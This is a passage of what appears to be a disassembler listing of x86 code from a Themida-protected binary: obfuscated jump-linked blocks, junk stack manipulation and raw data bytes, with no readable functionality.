		jmp	loc_55A9A2
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 2C3A43E9h, 1AE5E996h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556E9A:				; CODE XREF: Themida_:00558612j
		sub	edx, ecx
		pop	ecx
		shr	edx, 8
		and	edx, 104E637Ch
		jmp	loc_555BD2
; ---------------------------------------------------------------------------
		db 41h
		dd 7FE981h, 0FBE92508h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556EB7:				; CODE XREF: Themida_:00554A44j
		mov	eax, [esp]
		add	esp, 4
		push	4B3Fh
		mov	[esp], ebp
		push	5C5Bh
		mov	[esp], edx
		mov	edx, 283F01C7h
		jmp	loc_556586
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 18DD3542h, 0C681D6F7h, 942D3C64h, 5A6868h, 24148900h
		dd 0AF2E9h
		db 0
; ---------------------------------------------------------------------------


loc_556EF5:				; CODE XREF: Themida_:00555DEBj
		pop	esi
		add	esp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_54F865
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 582434FFh, 0AC1E9h, 56330500h, 0F8010BB7h, 0B756332Dh
		dd 46E95F0Bh
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_556F2B:				; CODE XREF: Themida_:00552BE0j
		sub	eax, 12751E7h
		mov	esi, [esp]
		jmp	loc_55A4E6
; ---------------------------------------------------------------------------


loc_556F38:				; CODE XREF: Themida_:0055423Bj
		push	edi
		mov	edi, 28D46D2h
		mov	ebx, edi
		pop	edi
		jmp	loc_553CD6
; ---------------------------------------------------------------------------


loc_556F46:				; CODE XREF: Themida_:00553DBEj
		mov	bl, [esp]
		push	eax
		jmp	loc_554A71
; ---------------------------------------------------------------------------
		db 56h
		dd 42474FFh, 24048F5Eh,	4EC835Ch, 68241C89h, 4304h, 2A18E9h
		dd 8B545500h, 0C483242Ch, 4C58104h, 83000000h, 0FF5502C5h
		dd 5D042474h, 0FFB082E9h, 680EBFFFh, 0B9511029h, 6BFADE82h
		dd 2159CF01h, 0F5815FFDh, 42DA0BE8h, 3BCE581h, 3EE94440h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556FA7:				; CODE XREF: Themida_:00550977j
		mov	ebx, 323F4AE1h
		not	ebx
		jmp	loc_5531F1
; ---------------------------------------------------------------------------
		db 0FEh
		dd 52D0F6C0h, 0FF88E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556FBD:				; CODE XREF: Themida_:005502DFj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	4F2Dh
		mov	[esp], edx
		push	3578h
		mov	[esp], eax
		mov	eax, 349432F1h
		push	esi
		mov	esi, 27593455h
		add	esi, 7A69735Ah
		mov	edx, esi
		pop	esi
		sub	edx, eax
		jmp	loc_557CDC
; ---------------------------------------------------------------------------


loc_556FF4:				; CODE XREF: Themida_:00551562j
		push	ebp
		push	23AFh
		jmp	loc_550A5E
; ---------------------------------------------------------------------------


loc_556FFF:				; CODE XREF: Themida_:00555EB0j
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, 119E592Ch
		xor	eax, edx
		pop	edx
		jmp	loc_554E15
; ---------------------------------------------------------------------------
		dw 4F68h
		dd 0E9000012h, 6FEh
; ---------------------------------------------------------------------------


loc_55701C:				; CODE XREF: Themida_:005544E1j
		sub	esp, 4
		jmp	loc_551454
; ---------------------------------------------------------------------------


loc_557027:				; CODE XREF: Themida_:0055378Ej
		xchg	esi, [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5530EF
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FF7A1BE9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_555A70
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 20h
		dd 1641F41h, 20BF57CBh,	29641F41h, 0C8B5FFBh, 0FC83E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55706E:				; CODE XREF: Themida_:0054F3C4j
		mov	[esp], edi
		jmp	loc_54F182
; ---------------------------------------------------------------------------


loc_557076:				; CODE XREF: Themida_:0054FA49j
		add	ebp, 368A76BAh
		sub	ebp, 195C2A89h
		xor	esi, ebp
		pop	ebp
		add	edx, esi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55331A
; ---------------------------------------------------------------------------


loc_557092:				; CODE XREF: Themida_:005584FBj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		jmp	loc_555D01
; ---------------------------------------------------------------------------
		db 0BDh, 0E4h, 78h
		dd 48BE3EBBh, 1D3B6E7h,	322AE9EEh, 0C1810000h, 7BBB093Ah
		dd 0A45CE941h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5570CE:				; CODE XREF: Themida_:0055AEB2j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7C37D7E9h
		push	esi
		push	ebx
		mov	ebx, 2E317E90h
		jmp	loc_553ADD
; ---------------------------------------------------------------------------
		dd 271468h, 243C8900h, 8D4BA52h, 0CA810FC0h, 385879EBh
		dd 3740E9h, 0EC83AD00h,	24148904h, 402DE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55710E:				; CODE XREF: Themida_:0054EDC8j
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	582Fh
		mov	[esp], ecx
		mov	ecx, 413B0E27h
		sub	[esp+4], ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	413B0E27h
		pop	ebx
		add	eax, ebx
		jmp	loc_557314
; ---------------------------------------------------------------------------
		db 8
		dd 0E99C2404h, 0FFFF78FCh, 31240C33h, 0ACE9240Ch, 0FE000014h
		dd 80D3F6CBh, 0C6809CF3h, 80DE00EEh, 805BEEEEh,	0F2E920C6h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_557183:				; CODE XREF: Themida_:00558A28j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_55AE10
		push	edx
		push	40940940h
		mov	edx, [esp]
		push	3D72h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 60792CE9h
		jmp	loc_54F8A4
; ---------------------------------------------------------------------------
aLSh3		db '‹$$éh3',0
		dd 2434FF00h, 0FFDBA1E9h, 241489FFh, 0AE57D8BAh, 0A9AEE95Ch
		dd 0C481FFFFh, 4, 502CC281h, 0DAE92DFDh, 66FFFFE7h, 6824048Bh
		dd 19F7h, 89240489h, 0DCE956E0h, 89FFFFF3h, 405E0h, 0C0830000h
		dd 24048702h, 0FE24248Bh, 9CB353C9h, 45BD928h, 0E9C80002h
		dd 0FFFF9156h
; ---------------------------------------------------------------------------


loc_557214:				; CODE XREF: Themida_:0055144Fj
		not	ecx
		xchg	ecx, edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_556D98
; ---------------------------------------------------------------------------
		dw 368h
		dd 8900001Dh, 15BF243Ch, 6868673Ch, 50BCh, 0FFEDCDE9h
		dd 242C89FFh, 10ADE9h, 2C77FF00h, 0FFC8AAE9h, 0C2E950FFh
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557253:				; CODE XREF: Themida_:00551E49j
		sub	esp, 4
		jmp	loc_55AE37
; ---------------------------------------------------------------------------
		db 88h
		dd 0E9CE86DEh, 0FFFFB2A0h, 5D9DF181h, 0CE014638h, 0E6814E59h
		dd 4A6C2E51h, 4A75EE81h, 0F6817F0Ch, 811BE39Fh,	90E9F301h
		dd 81FFFFC1h, 5EE3D9F2h, 2BB2E943h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557292:				; CODE XREF: Themida_:00550176j
		mov	esp, [esp]
		mov	ax, [esp]
		push	22EAh
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_55330D
; ---------------------------------------------------------------------------


loc_5572AC:				; CODE XREF: Themida_:005523D4j
		shr	ebp, 7
		sub	ebp, 0B381E76h
		jmp	loc_5508B0
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 21CE5009h, 0FF9C92E9h, 1C77FFFFh, 411589Dh, 89E99C24h
		dd 89FFFF77h, 0C7BD242Ch, 0F7644825h, 4EDC1DDh,	4519F581h
		dd 0EB892222h, 25B1E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5572EE:				; CODE XREF: Themida_:005528E5j
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_553564
; ---------------------------------------------------------------------------


loc_5572FA:				; CODE XREF: Themida_:00559DD0j
		pop	ecx
		jmp	loc_554A49
; ---------------------------------------------------------------------------


loc_557300:				; CODE XREF: Themida_:00550FE0j
		pop	eax
		xor	al, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5522D6
; ---------------------------------------------------------------------------


loc_55730E:				; CODE XREF: Themida_:005536C7j
		push	esp
		jmp	loc_54F5FF
; ---------------------------------------------------------------------------


loc_557314:				; CODE XREF: Themida_:00557152j
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_54F8D9
		push	3053h
		mov	[esp], eax
		mov	eax, 1
		push	eax
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		sub	edi, 22103288h
		add	edi, ebp
		add	edi, 22103288h
		pop	ebp
		push	ecx
		mov	ecx, 4
		jmp	loc_551C81
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 466F46C2h, 54295F22h, 148B0424h, 4EC8124h, 89000000h
		dd 75E92404h, 2DFFFF7Ah, 4BBC6BB8h, 0B191D2Dh, 0EB78E95Dh
		dd 0D1BAFFFFh, 0E96C8B1Dh, 375Ch
; ---------------------------------------------------------------------------


loc_557390:				; CODE XREF: Themida_:00557E47j
		and	ecx, ebp
		push	dword ptr [esp]
		jmp	loc_55A27C
; ---------------------------------------------------------------------------


loc_55739A:				; CODE XREF: Themida_:0054F610j
		push	eax
		mov	eax, 54A14CD8h
		push	ebp
		mov	ebp, 3B659AEh
		jmp	loc_559483
; ---------------------------------------------------------------------------
		db 51h
		dd 0FFA967E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5573B1:				; CODE XREF: Themida_:00553662j
		add	edi, 0B96F2222h
		add	ebp, 611C0A42h
		jmp	loc_554B6F
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 108011C5h, 0FF8DCEE9h, 0E930FFFFh, 0FFFFEC96h, 0E30808B4h
		dd 4EE95866h, 5100000Bh, 2C79BD55h, 0E98914F9h,	0E9CA895Dh
		dd 0FFFFC2A9h, 24048B66h, 4EC8152h, 89000000h, 4812424h
		dd 424h, 50515A00h, 2F83E9h
		db 0
; ---------------------------------------------------------------------------


loc_55740D:				; CODE XREF: Themida_:00554351j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_54FA79
; ---------------------------------------------------------------------------
		dd 9C240429h, 0FF7633E9h, 0C48159FFh, 4, 52046857h, 2C890000h
		dd 0F8E4E924h, 0EC81FFFFh, 4, 50240C89h, 4DB1EDB0h, 99E9C130h
		dd 8F000035h, 0BD92E902h, 0E951FFFFh, 0FFFFBB3Fh, 68h
		dd 24142900h, 81DAF75Ah, 3F42DFF2h, 5AD62974h, 67EDBD55h
		dd 0E5C159B1h, 0EECD8102h, 8115F514h, 210D89CDh, 6E5810Bh
		dd 8107A126h, 6A5415E5h, 1ABE5642h, 29C12794h, 0EE295EF5h
		dd 81C6015Dh, 0F86FEAC6h, 370E940h, 2CAC0000h, 0E94B2C51h
		dd 0FFFFB5F3h, 355AD009h, 41730316h, 0FF7D56E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5574C5:				; CODE XREF: Themida_:00555B42j
		mov	[esp], edi
		jmp	loc_5522DC
; ---------------------------------------------------------------------------


loc_5574CD:				; CODE XREF: Themida_:005566C7j
		mov	[esp], ecx
		mov	ecx, 2FE236D5h
		xor	esi, ecx
		pop	ecx
		add	esi, 7DEF3721h
		add	esi, 7E8C5244h
		add	ebp, esi
		jmp	loc_554951
; ---------------------------------------------------------------------------


loc_5574EB:				; CODE XREF: Themida_:00554A61j
		sub	ebp, 0E0A0AC4h
		jmp	loc_5532A9
; ---------------------------------------------------------------------------
		dw 0C789h
		dd 9BBB5358h, 293C373Dh, 0FAE95BDFh, 89FFFFA0h,	74FF240Ch
		dd 0CDE90424h, 81FFFFA8h, 4C4h,	9FC2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55751E:				; CODE XREF: Themida_:00555D0Ej
		pop	esp
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------
		dd 5124048Bh, 0C181E189h, 4, 8704C183h,	0E95C240Ch, 1891h
; ---------------------------------------------------------------------------


loc_55753C:				; CODE XREF: Themida_:00554A6Cj
		neg	edx
		and	edx, 17E843D7h
		push	ebp
		jmp	loc_551D8C
; ---------------------------------------------------------------------------
		dw 0FF66h
		dd 66022474h, 5324148Bh, 8BE9E389h, 33000001h, 0C31240Ch
		dd 240C3324h, 0FE24248Bh, 0E99C2404h, 0FFFF74ECh, 0F20AC381h
		dd 0DD21A7F1h, 42C5815Bh, 89163A15h, 0C8295DE9h, 51240C8Bh
		dd 0C181E189h, 4, 2A0EBE56h, 10E978C8h,	8BFFFF79h, 0DCE92424h
		dd 81FFFFD8h, 9709C0F7h, 2C81577Ch, 466F4624h, 0FDA4E922h
		dd 0EC83FFFFh, 241C8904h, 87E9E389h, 68FFFFABh,	794Bh
		dd 54242C89h, 0A7BA525Dh, 0E94ED11Eh, 0FFFFD9DBh, 582C5105h
		dd 525F5B3Ah, 7A5A47BAh, 0D3F28135h, 810E0C15h,	8A4A98CAh
		dd 42D2F733h, 62D8B850h, 3D051B04h, 90A5506h, 0B85058C2h
		dd 5E20022Ch, 1A150540h, 0D9E9292Eh, 68FFFFC7h,	7EEEh
		dd 2533E9h, 0C895C00h, 0BB2FE924h, 8957FFFFh, 4AE950E7h
		dd 83FFFFAFh, 895704C4h, 4C781E7h, 81000000h, 4EFh, 2BD0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557646:				; CODE XREF: Themida_:00550D00j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_551BE6
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 8904EC83h, 0E2E9243Ch
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557673:				; CODE XREF: Themida_:00553944j
		mov	[esp], ecx
		mov	ecx, 4000h
		and	eax, ecx
		pop	ecx
		shr	eax, 0Eh
		xor	eax, ecx
		xchg	eax, edi
		push	edi
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_5585B1
; ---------------------------------------------------------------------------
		db 80h
		dd 0FC30DAEFh, 39BE685Bh, 8BE90000h, 46000006h,	0D67E9h
		dd 4C38100h, 83000000h,	1C8704C3h, 0BE565C24h, 4, 335EF529h
		dd 2C31242Ch, 242C3324h, 252AE9h, 24143300h, 33241431h
		dd 248B2414h, 2404D224h, 737EE99Ch, 1C89FFFFh, 9C4DE924h
		dd 0C381FFFFh, 4, 4EB81h, 1C870000h, 3C895C24h,	0BFFE924h
		dd 4330000h, 24043124h,	8B240433h, 0AB682424h, 89000003h
		dd 0EC83240Ch, 970E904h, 3C890000h, 83E78924h, 48904ECh
		dd 0D58E924h, 1BE0000h,	812D2F31h, 175B19E6h, 6BAE95Fh
		dd 8B660000h, 1268240Ch, 89000024h, 0E789243Ch,	0FFBF9DE9h
		dd 55E957FFh, 5AFFFFAFh, 0FF9755E9h, 4C783FFh, 5C243C87h
		dd 0FFE489E9h, 0F665CFFh, 9C2404BBh, 0FF72EBE9h, 42DFFh
		dd 5F680000h, 8900006Fh, 91E92404h, 57000003h, 2434FF54h
		dd 0FFECBBE9h, 2EFDBBFFh, 0EB810D8Ah, 277F3869h, 19B0E381h
		dd 22E94A80h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5577A3:				; CODE XREF: Themida_:005539B1j
		push	eax
		mov	ah, 1
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_559D9B
; ---------------------------------------------------------------------------


loc_5577BB:				; CODE XREF: Themida_:0055AA34j
		pop	eax
		shl	ebx, 7
		push	edi
		jmp	loc_55AF09
; ---------------------------------------------------------------------------
		db 64h,	66h, 0Fh
		dd 0E95102B6h, 0FFFF88D5h, 0C40AE6BAh, 93B95158h, 2937B607h
		dd 0D6C5E9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5577E2:				; CODE XREF: Themida_:005531B0j
		pop	esi
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	eax, ebx
		mov	ebx, [esp]
		jmp	loc_54FDC2
; ---------------------------------------------------------------------------
		dd 53BD55ADh, 565D0717h, 0FB80E952h, 0C581FFFFh, 4, 3304ED83h
		dd 2C31242Ch, 242C3324h, 0E709E95Ch, 0BA52FFFFh, 5DC737Bh
		dd 0E904EC83h, 0FFFFC4C0h, 13C36851h, 0A4E90000h, 0E9FFFF90h
		dd 0FFFF7220h, 240C875Eh, 5EF0015Ch, 31240433h,	4332404h
		dd 55685C24h, 89000016h, 87E92414h, 81FFFFE8h, 340160CFh
		dd 1FC78126h, 81AE3DEFh, 6213ECC3h, 0E9FB014Ch,	0FFFFC760h
		dd 8950E689h, 0D348E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55787E:				; CODE XREF: Themida_:00550803j
		or	esi, edi
		jmp	loc_558D70
; ---------------------------------------------------------------------------


loc_557885:				; CODE XREF: Themida_:0055AF7Aj
		pop	eax
		jmp	loc_5530E1
; ---------------------------------------------------------------------------
		db 29h
		dd 2BA3E9F0h, 68AD0000h, 4A1Eh,	55240489h, 0AF3230BDh
		dd 291FE927h, 0BD550000h, 6B2D1CFAh, 11FCC581h,	0EB09A8B7h
		dd 0D6B8505Dh, 4032E877h, 0AE4CC205h, 9CEEE92Bh, 0CA01FFFFh
		dd 24148759h, 2434FF5Ch, 25E9505Ah
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5578D7:				; CODE XREF: Themida_:00550A66j
		mov	ebp, edi
		jmp	loc_5523CA
; ---------------------------------------------------------------------------
		dw 15Ah
		dd 0C2EB81C3h, 8121C667h, 0C220F0C3h, 0E9C23177h, 0FFFF7168h
		dd 4245C01h, 8D2E9h, 81CA0100h,	0F63A1CC2h, 0A4F8E969h
		dd 0B850FFFFh, 53614B9Fh, 0C158C289h, 0E28104EAh, 5DA40BB1h
		dd 3E4FC281h, 0DAF76236h, 0C0FCEA81h, 0D00198A5h, 2ABF575Ah
		dd 0E962F75Eh, 2CE6h, 8324348Bh, 0EE8104C4h, 79D16285h
		dd 0E924148Bh, 0FFFFAE5Dh, 4BF57h, 0FE890000h, 51243C8Bh
		dd 0F3E9E189h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55795F:				; CODE XREF: Themida_:00553826j
		pop	esi
		add	esi, 1D1D5DC5h
		jmp	loc_557DA0
; ---------------------------------------------------------------------------
		db 50h
		dd 0FF84CBE9h, 48759FFh, 0BBF5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55797A:				; CODE XREF: Themida_:005568D1j
		add	al, bl
		sub	al, 0E0h
		sub	al, 1Dh
		sub	al, 0ECh
		mov	bx, [esp]
		add	esp, 2
		add	bl, 60h
		push	ax
		mov	ah, 34h
		add	bl, ah
		pop	ax
		sub	bl, 10h
		add	bl, al
		add	bl, 10h
		jmp	loc_553200
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 51240489h, 4B9h, 0E9C88900h,	1E31h, 57D7C281h, 815D1704h
		dd 0B441CE9h, 81D12969h, 0B441CC1h, 0A693E969h,	21BFFFFFh
		dd 896AD929h, 3639E9F9h, 0C4830000h, 13EE6804h,	49E90000h
		dd 0BAFFFFB6h, 5E7134BDh, 295AD329h, 0BDC381F3h, 8B5E7134h
		dd 0A3E92434h, 29FFFF96h, 97A8E9E9h, 1487FFFFh,	24248B24h
		dd 0FF9C11E9h, 4C483FFh, 1C8BD830h, 4C48124h, 80000000h
		dd 0C328ECEBh, 634B68h,	240C8900h, 75E945B1h, 66000026h
		dd 57240C8Bh, 0C781E789h, 4, 7A7DE950h,	2C59FFFFh, 4D02824h
		dd 8BE30424h, 89532414h, 4C381E3h, 81000000h, 4EBh, 241C8700h
		dd 2434895Ch, 0A1E9E689h, 8B00002Dh, 0C5E92424h, 66FFFF8Fh
		dd 83240C8Bh, 48904ECh,	49E06824h, 24890000h, 0BAE95724h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557A8F:				; CODE XREF: Themida_:00556967j
		add	ecx, edi
		sub	ecx, 3BC9596Dh
		jmp	loc_54EA79
; ---------------------------------------------------------------------------
aAIfs		db '€ÂëfS·²',0
		dd 255CE9FAh, 0C5810000h, 4, 0FFE19FE9h, 48B5BFFh, 70E95124h
		dd 0FF000023h, 34FF2434h, 24048B24h, 5104C483h,	0C181E189h
		dd 4, 4C181h, 0C870000h, 8781E924h, 4EB6FFFFh, 0F607EEC0h
		dd 3C680D6h, 0E902EEC0h, 0FFFF98C9h, 240C8B66h,	58F668h
		dd 24148900h, 0C281E289h, 4, 8904EC83h,	0E9512404h, 2A16h
		dd 42474FFh, 128EE9h, 1C77FF00h, 6659669Dh, 9C2414D3h
		dd 0FF6F2FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557B2D:				; CODE XREF: Themida_:00553B66j
		mov	ecx, 4F986D59h
		jmp	loc_554356
; ---------------------------------------------------------------------------


loc_557B37:				; CODE XREF: Themida_:0055B116j
		pop	esp
		jmp	loc_555BF6
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FFBCCDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557B45:				; CODE XREF: Themida_:00552B24j
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 3497ADF9h
		jmp	loc_5596F7
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0FF77A4E9h, 5AE981FFh, 0C140000Eh, 0C18104E9h, 0F7567573h
		dd 0FFC74FE9h, 5AF530FFh, 0F6BEE580h, 55C580DDh, 2EEE9h
		dd 4B800h, 0C3010000h, 0E924048Bh, 0FFFFB760h, 0FF5EF001h
		dd 0E95B2434h, 2582h, 0B321E9ADh, 0D7F6FFFFh, 2D04F886h
		dd 0DACBE952h, 0E9ADFFFFh, 0FFFFAAFAh, 5258C601h, 2742B850h
		dd 0C2BA1CD7h, 1E328D8h, 0C68158C2h, 1DB68D3h, 0EE81D629h
		dd 1DB68D3h, 2434875Ah,	8924248Bh, 75E92404h, 81FFFF6Eh
		dd 5A1C70CBh, 6BB26824h, 39E90000h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557BF7:				; CODE XREF: Themida_:005565A8j
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	eax
		mov	eax, 20h
		add	eax, edi
		add	[eax], ebp
		pop	eax
		pop	ebp
		jmp	loc_5584CB
; ---------------------------------------------------------------------------
		dd 4B850h, 0C1010000h, 240C8758h, 0E924248Bh, 0FFFFB510h
		dd 1DE9008Fh, 83FFFF6Eh, 48704E8h, 59E95C24h, 0D1FFFFACh
		dd 0F0F781EFh, 0E9215865h, 35Fh, 80B85057h, 0E93AF249h
		dd 2B2Ah, 875FFE01h, 3AE92434h,	53FFFF86h, 0D7CF2ABBh
		dd 5BDE011Ah, 0FF795EE9h, 4BF57FFh, 2D000000h, 2FF26C7Fh
		dd 7F05F801h, 5F2FF26Ch, 0DD44E955h, 0D131FFFFh, 7B0FBB5Ah
		dd 0B951A50Eh, 6DE947CEh, 8159CB01h, 0D85589EBh, 0C506E953h
		dd 0B551FFFFh, 0E9CDFE6Bh, 0FFFFB6A5h, 1B4668h,	241C8900h
		dd 0E7BB5355h, 892A981Bh, 241C8BDDh, 4C481h, 0E9520000h
		dd 2D8Fh
; ---------------------------------------------------------------------------


loc_557CDC:				; CODE XREF: Themida_:00556FEFj
		pop	eax
		jmp	loc_556580
; ---------------------------------------------------------------------------


loc_557CE2:				; CODE XREF: Themida_:005542DEj
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_55647B
; ---------------------------------------------------------------------------


loc_557CF1:				; CODE XREF: Themida_:005596DDj
		mov	ecx, 76412526h
		or	esi, ecx
		pop	ecx
		push	edx
		mov	edx, 1E5B77ADh
		xor	edx, 3A90208Bh
		jmp	loc_550701
; ---------------------------------------------------------------------------


loc_557D0A:				; CODE XREF: Themida_:0054F781j
		xor	ebp, 2D190512h
		jmp	loc_559DA3
; ---------------------------------------------------------------------------
		db 4, 8Ah, 0E9h
		dd 1E3Ch
; ---------------------------------------------------------------------------


loc_557D1C:				; CODE XREF: Themida_:0054F2C5j
		pop	esp
		mov	[esp], ebp
		push	1
		jmp	loc_553581
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 88E78824h, 2434FFFAh, 0FF8524E9h, 4C481FFh, 0FF000000h
		dd 0E99C240Ch, 0FFFF6D14h, 0DBC3815Dh, 0E90D0758h, 2574h
; ---------------------------------------------------------------------------


loc_557D54:				; CODE XREF: Themida_:00552B54j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5533F2
; ---------------------------------------------------------------------------


loc_557D62:				; CODE XREF: Themida_:0054FCF0j
		push	ebx
		push	eax
		mov	eax, 76BE63BAh
		mov	ebx, eax
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_551667
; ---------------------------------------------------------------------------
		dd 6855F1F7h, 0EE4h, 83242489h,	0E9042404h, 0FFFFB7E9h
; ---------------------------------------------------------------------------


loc_557DA0:				; CODE XREF: Themida_:00557966j
		pop	ebx
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	289Dh
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		push	edi
		mov	edi, 6A101EFDh
		mov	esi, edi
		pop	edi
		inc	esi
		xor	esi, 2CE20094h
		sub	esi, 13BE4F9Fh
		not	esi
		xor	esi, 70B5784Bh
		xor	esi, 0BC79497Bh
		jmp	loc_5599C0
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 47345AB8h, 370E964h, 0E95B0000h, 0FFFFACDCh
		dd 29EF681h, 0EEC14A61h, 0BDEE8105h, 0E91B0624h, 292Ch
; ---------------------------------------------------------------------------


loc_557E08:				; CODE XREF: Themida_:0054F624j
		push	edi
		jmp	loc_5516F6
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 58F4901Dh, 53E9CE01h
		db 7Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E1B:				; CODE XREF: Themida_:00559774j
		sub	ebp, 24BBC070h
		sub	ebx, ebp
		jmp	loc_54F110
; ---------------------------------------------------------------------------
		dd 4C481h, 0CEE90000h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E33:				; CODE XREF: Themida_:00552B47j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	544Bh
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_557390
; ---------------------------------------------------------------------------
		dd 8159CB01h, 4ECh, 240C8900h, 0FF9B2EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557E5D:				; CODE XREF: Themida_:005516BAj
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 30935974h
		sub	eax, 515424B6h
		jmp	loc_552237
; ---------------------------------------------------------------------------
		align 4
aUsu		db 'îéž(',0
		align 2
		dw 77FFh
		dd 0C6BB533Ch, 316F826Fh, 5B04245Ch, 8324048Bh,	348904ECh
		dd 348B5424h, 0FF8EE924h, 0D9F7FFFFh, 8105E9C1h, 34F8CFE9h
		dd 6C28E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557EAA:				; CODE XREF: Themida_:00553A1Aj
		add	esp, 4
		push	small 417Fh
		mov	[esp], dx
		jmp	loc_5501F7
; ---------------------------------------------------------------------------
		db 59h,	8Fh, 4
		dd 0F757E924h, 3C8BFFFFh, 0E0895024h, 405h, 11BDE900h
		dd 0E2810000h, 35452FBEh, 31F2814Ah, 50066B08h,	0ED1271B8h
		dd 0B43AE931h, 34FFFFFFh, 0C4835F24h, 24048704h, 0F624248Bh
		dd 0B60F66E1h, 0CD6866CCh, 0C89660Ch, 0B60F6624h, 9C5166C8h
		dd 0FF6B47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557F15:				; CODE XREF: Themida_:0055ADADj
		mov	ecx, 73CD6D56h
		inc	ecx
		sub	ecx, 73CD6D53h
